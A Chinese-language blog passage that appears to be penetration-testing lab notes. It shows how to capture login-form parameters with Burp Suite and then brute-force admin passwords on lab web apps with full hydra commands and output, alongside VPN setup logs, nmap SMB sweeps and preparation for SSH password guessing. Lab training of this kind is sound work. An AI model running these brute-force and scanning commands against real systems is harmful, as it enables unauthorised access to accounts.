點右上角三橫線後出現下圖,點登入:
點「登入」:
那麼,要如何讓程式自動填入上述表格,進行密碼爆破? 其實hydra有針對這樣表單的爆破方式,指令格式如下,而問題是下圖紅線處,是每個網站不一樣的。
為了知道要怎麼得到上圖綠框(1)、橘框(2)跟藍圈(3)相關資訊,請出burp suite:
使用burp suite之前,先要更改瀏覽器的proxy設定:
點上圖的settings:
點選上圖選項,另外再看看burp suite裡HTTP Proxy該填什麼:
填入:
之後隨便輸入錯誤的帳密後,再次回到BurpSuite,並點下圖綠框:
intercept的作用是可以攔截動作。實際上只點選網頁的某一個鍵時,就可能會經過好幾個網頁來處理使用者要求,而intercept就是可以強迫動作做完一步就停,按下下圖紅框Forward才能繼續下一個步驟:
一直Forward直到要求處理完成,再點一下Intercept on,讓它變off,不然無法檢視原始碼。
之後要找failed相關的訊息,要檢視原始碼,就是藍圈:
切回去到HTTP history看看剛剛經歷了什麼,而下圖Raw的反白處,就是綠色框框必填資訊。
再來是要填的第二個資訊(橘框),就是下圖反白處:
為了可以密碼爆破,所以__VIEWSTATE的內容要改一下。下圖是修改前跟修改後的比對,其實就是為了要可以填入字典檔的內容:
所以密碼爆破指令如下:
紅、藍、綠都是剛剛得到的資訊,以冒號分隔。
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ hydra -l admin -P /usr/share/seclists/Passwords/xato-net-10-million-password s-1000000.txt -s 8888 172.16.1.142 http-post-form "/BlogEngine/Account/login.asp x:__VIEWSTATE=1OEalh2S3ypsE3ovuOItZQXivyIzpx%2F0tDHRNN4jHESRHynwSXHWojkR2NUO9LHR TGl3y5jdi%2Bh1%2FVpMyKxXiBqha3US2RrvoOePJIOFuzPwMB3P%2Fl8HnLWZKWyW5SzQ9PBLSGUBRa %2FG7MzdT0Jl2LbKTcr1MqrIhTOEa5naAFer2QttldTakmyfvOYcqsnW%2BG%2BPs9ys7VRw3yFRSaTC Q9GYkw2HnQ9KpiWcYrNPYsYMC%2Bs6NYyNb7za2PSRf0993UVhu0DW6aIO%2B1nMtbKjgdegSSJtzIpI v43SVHqNGVWiSzKu8jkm2BRnsLlwK7Ar2cZYO2oInK9oRI8PuRJf43Jq2BsaDfIUU6m6JAHz8JUtxEFC &__VIEWSTATEGENERATOR=F75D4323&__EVENTVALIDATION=%2BqereblHfgZrY0yE4PFQIPiaMhEV1 olmszouJTCQDevS7lyGxoGnLsWgGKWtTuj4IFQilnvOEG%2FaT8n6dn2b40Pfq4oI5Zyf5CVSJnTaDzS oSxqbd0DWzOS4NQBwUOl0iYZ5P2jKwUk18B%2BLEq7LpTpbb59vwVrPGo751upJoA4%2FTKmN&ctl00% 24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Pa ssword=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in mi litary or secret service organizations, or for illegal purposes (this is non-bin ding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-19 06:19: 07
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1 000000), ~62500 tries per task
[DATA] attacking http-post-form://172.16.1.142:8888/BlogEngine/Account/login.asp x:__VIEWSTATE=1OEalh2S3ypsE3ovuOItZQXivyIzpx%2F0tDHRNN4jHESRHynwSXHWojkR2NUO9LHR TGl3y5jdi%2Bh1%2FVpMyKxXiBqha3US2RrvoOePJIOFuzPwMB3P%2Fl8HnLWZKWyW5SzQ9PBLSGUBRa %2FG7MzdT0Jl2LbKTcr1MqrIhTOEa5naAFer2QttldTakmyfvOYcqsnW%2BG%2BPs9ys7VRw3yFRSaTC Q9GYkw2HnQ9KpiWcYrNPYsYMC%2Bs6NYyNb7za2PSRf0993UVhu0DW6aIO%2B1nMtbKjgdegSSJtzIpI v43SVHqNGVWiSzKu8jkm2BRnsLlwK7Ar2cZYO2oInK9oRI8PuRJf43Jq2BsaDfIUU6m6JAHz8JUtxEFC &__VIEWSTATEGENERATOR=F75D4323&__EVENTVALIDATION=%2BqereblHfgZrY0yE4PFQIPiaMhEV1 olmszouJTCQDevS7lyGxoGnLsWgGKWtTuj4IFQilnvOEG%2FaT8n6dn2b40Pfq4oI5Zyf5CVSJnTaDzS oSxqbd0DWzOS4NQBwUOl0iYZ5P2jKwUk18B%2BLEq7LpTpbb59vwVrPGo751upJoA4%2FTKmN&ctl00% 24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Pa ssword=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed
[8888][http-post-form] host: 172.16.1.142 login: admin password: admin
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete u ntil end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-19 06:19: 32
可得知密碼一樣是admin。
首先設定好burp(開burp -> 瀏覽器設置proxy),再做下面步驟:
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ sudo nmap 172.16.1.153 -p-
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 06:43 EST
Nmap scan report for 172.16.1.153
Host is up (0.049s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 27.89 seconds
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ sudo nmap 172.16.1.153 -p 80 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 06:44 EST
Nmap scan report for 172.16.1.153
Host is up (0.016s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Did not follow redirect to http://hr.itop.com.tw/app/login.php
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 3.16 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 4.0 (90%), Linux 3.10 - 4.11 (89%), Linux 3.12 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 61.63 ms 192.168.200.1
2 11.39 ms 172.16.1.153
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.39 seconds
注意掃描結果有http://hr.itop.com.tw/app/login.php
。
實際上卻連不到。有些公司是網頁會用內部DNS解析,所以這裡應該改一下DNS設定:
┌──(kali㉿kali)-[~]
└─$ sudo vim /etc/hosts
加上第三行:
第三行是新增的。儲存修改後重連即可連上如下圖。
隨便打個錯的,觀察burp:
看burp:
看burp:
檢視該輸入帳密之網頁原始碼:
如此一來,可以得到為了爆破密碼,而需填入hydra的綠框、橘框跟藍圈:
┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 172.16.1.153 http-post-form "/app/login.php:next=&csrf=d8d5b15bfc4d470dc4381ceca767d48fdbd33e3e&username=^USER^&password=^PASS^:Login failed"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-19 07:25:18
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1000000), ~62500 tries per task
[DATA] attacking http-post-form://172.16.1.153:80/app/login.php:next=&csrf=d8d5b15bfc4d470dc4381ceca767d48fdbd33e3e&username=^USER^&password=^PASS^:Login failed
[80][http-post-form] host: 172.16.1.153 login: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-19 07:25:21
知道密碼是admin,成功登入:
]]>其實應該是要先openvpn cyberlab.ovpn
,再下route add
指令。
┌──(kali㉿kali)-[~]
└─$ sudo -i
[sudo] password for kali:
┌──(root㉿kali)-[~]
└─# route add -net 172.16.0.0/16 tun0
┌──(root㉿kali)-[~]
└─# cd /home/kali
┌──(root㉿kali)-[/home/kali]
└─# openvpn cyberlab.ovpn
2023-02-12 00:40:38 DEPRECATED OPTION: --cipher set to 'AES-256-CBC' but missing in --data-ciphers (AES-256-GCM:AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-256-CBC' to --data-ciphers or change --cipher 'AES-256-CBC' to --data-ciphers-fallback 'AES-256-CBC' to silence this warning.
2023-02-12 00:40:38 OpenVPN 2.5.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Jul 5 2022
2023-02-12 00:40:38 library versions: OpenSSL 3.0.4 21 Jun 2022, LZO 2.10
Enter Auth Username: TBMPT703
🔐 Enter Auth Password: ********
2023-02-12 00:40:58 TCP/UDP: Preserving recently used remote address: [AF_INET]122.117.124.163:443
2023-02-12 00:40:58 Socket Buffers: R=[131072->131072] S=[16384->16384]
2023-02-12 00:40:58 Attempting to establish TCP connection with [AF_INET]122.117.124.163:443 [nonblock]
2023-02-12 00:40:58 TCP connection established with [AF_INET]122.117.124.163:443
2023-02-12 00:40:58 TCP_CLIENT link local: (not bound)
2023-02-12 00:40:58 TCP_CLIENT link remote: [AF_INET]122.117.124.163:443
2023-02-12 00:40:59 TLS: Initial packet from [AF_INET]122.117.124.163:443, sid=4fc9b453 3408a057
2023-02-12 00:40:59 VERIFY OK: depth=1, O=WatchGuard_Technologies, OU=Fireware, CN=Fireware SSLVPN (SN D022036160E2D 2018-04-16 18:30:59 GMT) CA
2023-02-12 00:40:59 Validating certificate extended key usage
2023-02-12 00:40:59 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
2023-02-12 00:40:59 VERIFY EKU OK
2023-02-12 00:40:59 VERIFY OK: depth=0, O=WatchGuard_Technologies, OU=Fireware, CN=Fireware SSLVPN Server
2023-02-12 00:40:59 Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-RSA-CHACHA20-POLY1305, peer certificate: 2048 bit RSA, signature: RSA-SHA256
2023-02-12 00:40:59 [Fireware SSLVPN Server] Peer Connection Initiated with [AF_INET]122.117.124.163:443
2023-02-12 00:41:00 SENT CONTROL [Fireware SSLVPN Server]: 'PUSH_REQUEST' (status=1)
2023-02-12 00:41:00 PUSH: Received control message: 'PUSH_REPLY,route 192.168.200.0 255.255.255.0,route 172.16.0.0 255.255.0.0,dhcp-option DOMAIN cyberlab.red,dhcp-option DNS 172.16.5.1,route-gateway 192.168.200.1,topology subnet,ping 10,ping-restart 60,ifconfig 192.168.200.13 255.255.255.0,peer-id 0'
2023-02-12 00:41:00 OPTIONS IMPORT: timers and/or timeouts modified
2023-02-12 00:41:00 OPTIONS IMPORT: --ifconfig/up options modified
2023-02-12 00:41:00 OPTIONS IMPORT: route options modified
2023-02-12 00:41:00 OPTIONS IMPORT: route-related options modified
2023-02-12 00:41:00 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options modified
2023-02-12 00:41:00 OPTIONS IMPORT: peer-id set
2023-02-12 00:41:00 OPTIONS IMPORT: adjusting link_mtu to 1626
2023-02-12 00:41:00 Using peer cipher 'AES-256-CBC'
2023-02-12 00:41:00 Outgoing Data Channel: Cipher 'AES-256-CBC' initialized with 256 bit key
2023-02-12 00:41:00 Outgoing Data Channel: Using 256 bit message hash 'SHA256' for HMAC authentication
2023-02-12 00:41:00 Incoming Data Channel: Cipher 'AES-256-CBC' initialized with 256 bit key
2023-02-12 00:41:00 Incoming Data Channel: Using 256 bit message hash 'SHA256' for HMAC authentication
2023-02-12 00:41:00 net_route_v4_best_gw query: dst 0.0.0.0
2023-02-12 00:41:00 net_route_v4_best_gw result: via 192.168.44.2 dev eth0
2023-02-12 00:41:00 ROUTE_GATEWAY 192.168.44.2/255.255.255.0 IFACE=eth0 HWADDR=00:0c:29:dd:37:17
2023-02-12 00:41:00 TUN/TAP device tun1 opened
2023-02-12 00:41:00 net_iface_mtu_set: mtu 1500 for tun1
2023-02-12 00:41:00 net_iface_up: set tun1 up
2023-02-12 00:41:00 net_addr_v4_add: 192.168.200.13/24 dev tun1
2023-02-12 00:41:00 net_route_v4_add: 192.168.200.0/24 via 192.168.200.1 dev [NULL] table 0 metric -1
2023-02-12 00:41:00 net_route_v4_add: 172.16.0.0/16 via 192.168.200.1 dev [NULL] table 0 metric -1
2023-02-12 00:41:00 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
2023-02-12 00:41:00 Initialization Sequence Completed
以上是vpn匯入方式
┌──(kali㉿kali)-[~]
└─$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:dd:37:17 brd ff:ff:ff:ff:ff:ff
inet 192.168.44.235/24 brd 192.168.44.255 scope global dynamic noprefixroute eth0
valid_lft 1229sec preferred_lft 1229sec
inet6 fe80::4db4:40fa:8293:1d0b/64 scope link noprefixroute
valid_lft forever preferred_lft forever
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.200.12/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::4af0:9003:609f:1f74/64 scope link stable-privacy
valid_lft forever preferred_lft forever
5: tun1: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.200.13/24 scope global tun1
valid_lft forever preferred_lft forever
inet6 fe80::2a9d:3ae4:df95:5272/64 scope link stable-privacy
valid_lft forever preferred_lft forever
測試是否連上VPN:
如果以上方法不管用,使用另外一個連接VPN的方式--用windows。從網站上下載ovpn副檔名後,下載openvpn的windows版並匯入。之後應該會出現:
接下來就可以直接用windows的遠端桌面,連到172.16.253.xx
,xx是一個不超過22的數字,是kali環境。
接下來才能做以下題目:
這裡做第二題(在剛剛連到的172.16網段上的kali),首先就是照上面的指令打。只是,windows電腦名稱的話,只要掃445 port就好。
┌──(kali㉿kali)-[~]
└─$ nmap 172.16.1-20.* -sC -sV -p445
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-12 02:06 EST
Stats: 0:02:04 elapsed; 4079 hosts completed (17 up), 1024 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 02:08 (0:00:00 remaining)
Stats: 0:02:05 elapsed; 4079 hosts completed (17 up), 1024 undergoing Ping Scan
Parallel DNS resolution of 5 hosts. Timing: About 0.00% done
Stats: 0:02:05 elapsed; 4079 hosts completed (17 up), 1024 undergoing Ping Scan
Parallel DNS resolution of 5 hosts. Timing: About 0.00% done
Nmap scan report for 172.16.1.51
Host is up (0.0019s latency).
PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
Nmap scan report for 172.16.1.67
Host is up (0.0017s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.1.87
Host is up (0.0021s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: SEH-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m27s, deviation: 4h37m02s, median: 29s
|_nbstat: NetBIOS name: SEH-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:01:36:f7 (Microsoft)
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: SEH-PC
| NetBIOS computer name: SEH-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-12T15:09:44+08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:44
|_ start_date: 2023-02-12T04:01:40
Nmap scan report for 172.16.1.105
Host is up (0.0031s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 30s, deviation: 0s, median: 29s
|_nbstat: NetBIOS name: WIN-FH0N2VGINDJ, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:2d:e7:92 (Microsoft)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:36
|_ start_date: 2021-05-28T17:04:49
Nmap scan report for 172.16.1.112
Host is up (0.0041s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 30s, deviation: 0s, median: 30s
|_nbstat: NetBIOS name: ZACH, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:01:36:37 (Microsoft)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:45
|_ start_date: 2022-10-15T07:48:25
Nmap scan report for 172.16.1.120
Host is up (0.0100s latency).
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: FULECMS
Host script results:
|_clock-skew: mean: -2h39m28s, deviation: 4h37m05s, median: 29s
|_nbstat: NetBIOS name: FULECMS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: fulecms
| NetBIOS computer name: FULECMS\x00
| Domain name: \x00
| FQDN: fulecms
|_ System time: 2023-02-12T15:09:39+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:44
|_ start_date: N/A
Nmap scan report for www.LuxuryTreats.com (172.16.1.130)
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 28s, deviation: 0s, median: 27s
|_nbstat: NetBIOS name: WINSERVER2012, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:01:36:2d (Microsoft)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:42
|_ start_date: 2022-10-20T18:10:24
Nmap scan report for 172.16.1.134
Host is up (0.0038s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.1.153
Host is up (0.0040s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.1.157
Host is up (0.0020s latency).
PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
Nmap scan report for 172.16.1.191
Host is up (0.0015s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m27s, deviation: 4h37m04s, median: 30s
| smb-os-discovery:
| OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
| Computer name: WinPower
| NetBIOS computer name: WINPOWER\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-12T15:09:42+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:38
|_ start_date: 2023-02-12T04:01:52
Nmap scan report for 172.16.1.222
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.3.124
Host is up (0.0028s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2016 Essentials 14393 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: WIN-56MI46O6T68; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m27s, deviation: 4h37m05s, median: 30s
|_nbstat: NetBIOS name: WIN-56MI46O6T68, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:92:88:77 (Microsoft)
| smb-os-discovery:
| OS: Windows Server 2016 Essentials 14393 (Windows Server 2016 Essentials 6.3)
| Computer name: WIN-56MI46O6T68
| NetBIOS computer name: WIN-56MI46O6T68\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-12T15:09:40+08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:38
|_ start_date: 2022-11-01T06:49:25
Nmap scan report for 172.16.3.125
Host is up (0.0049s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.3.126
Host is up (0.0031s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.3.128
Host is up (0.0012s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.5.1
Host is up (0.00062s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
Host script results:
|_clock-skew: 29s
|_nbstat: NetBIOS name: DASHBOARD, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:92:88:08 (Microsoft)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:45
|_ start_date: N/A
Nmap scan report for 172.16.19.2
Host is up (0.0026s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: IRMA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m25s, deviation: 4h37m01s, median: 30s
|_nbstat: NetBIOS name: IRMA, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:2d:e7:b6 (Microsoft)
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: IRMA
| NetBIOS computer name: IRMA\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-12T15:09:46+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:46
|_ start_date: 2021-05-22T09:26:30
Nmap scan report for 172.16.19.9
Host is up (0.0069s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 30s, deviation: 0s, median: 30s
|_nbstat: NetBIOS name: FRANKLIN, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:01:36:f5 (Microsoft)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:45
|_ start_date: 2023-02-12T04:01:46
Nmap scan report for 172.16.20.3
Host is up (0.0083s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.20.6
Host is up (0.0043s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.20.7
Host is up (0.0041s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Post-scan script results:
| clock-skew:
| -2h39m27s:
| 172.16.1.191
| 172.16.19.9
| 172.16.19.2
| 172.16.3.124
|_ 172.16.1.112
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5120 IP addresses (22 hosts up) scanned in 184.10 seconds
可以知道是172.16.19.2,從NetBIOS computer name看出。
接下來是下一題:
起手式,就是先nmap:
┌──(kali㉿kali)-[~]
└─$ sudo nmap 172.16.3.128
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-12 02:40 EST
Nmap scan report for 172.16.3.128
Host is up (0.0074s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 5.03 seconds
確定開啟的port後,再針對這些port做詳細的掃描:
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O -A 172.16.3.128 -p 22 1 ⨯
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-12 02:36 EST
Nmap scan report for 172.16.3.128
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 ce:8e:b1:74:09:f0:e9:ac:52:08:10:f2:d8:2e:b6:e0 (DSA)
| 2048 a2:c1:d9:a1:e1:f7:30:2e:ae:85:cb:05:0c:35:59:ed (RSA)
| 256 0d:86:58:bb:fb:1c:32:2e:0d:70:f9:5c:f1:e1:3e:ca (ECDSA)
|_ 256 b6:e0:4f:fd:17:be:8f:89:1d:a2:9a:0c:fe:45:a3:ef (ED25519)
MAC Address: 00:15:5D:92:88:5C (Microsoft)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.34 ms 172.16.3.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.27 seconds
但是上面第一個指令沒加任何參數,只會掃最常見的1000個port,如果要掃全部port,可以打以下指令:
┌──(kali㉿kali)-[~]
└─$ sudo nmap 172.16.3.128 -p 1-65535
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-19 01:17 EST
Nmap scan report for 172.16.3.128
Host is up (0.043s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 49.72 seconds
確定真的只有開22 port,所以接下來只要猜ssh的密碼即可。這裡先安裝猜密碼要用的檔案:
┌──(kali㉿kali)-[~]
└─$ sudo apt --fix-broken install seclists
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
catfish freeglut3 gir1.2-xfconf-0 libatk1.0-data libcfitsio9 libclang-cpp11
libev4 libexporter-tiny-perl libflac8 libfmt8 libgdal31 libgeos3.11.0
libgs9-common libgssdp-1.2-0 libgupnp-1.2-1 libhttp-server-simple-perl
libilmbase25 liblerc3 liblist-moreutils-perl liblist-moreutils-xs-perl
libllvm11 libnginx-mod-http-geoip libnginx-mod-http-image-filter
libnginx-mod-http-xslt-filter libnginx-mod-mail libnginx-mod-stream
libnginx-mod-stream-geoip libopenexr25 libopenh264-6 libperl5.34
libplacebo192 libpoppler118 libprotobuf23 libpython3.10 libpython3.10-dev
libpython3.10-minimal libpython3.10-stdlib libpython3.9-minimal
libpython3.9-stdlib libsvtav1enc0 libtbb12 libtbbbind-2-5 libtbbmalloc2
libtiff5 libwebsockets16 libwireshark15 libwiretap12 libwsutil13
libzxingcore1 llvm-11 llvm-11-dev llvm-11-linker-tools llvm-11-runtime
llvm-11-tools nginx-common nginx-core openjdk-11-jre perl-modules-5.34
python-pastedeploy-tpl python3-commonmark python3-dataclasses-json
python3-limiter python3-marshmallow-enum python3-mypy-extensions
python3-ntlm-auth python3-requests-ntlm python3-responses python3-speaklater
python3-spyse python3-token-bucket python3-typing-inspect python3.10
python3.10-dev python3.10-minimal python3.9 python3.9-minimal ruby3.0
ruby3.0-dev ruby3.0-doc
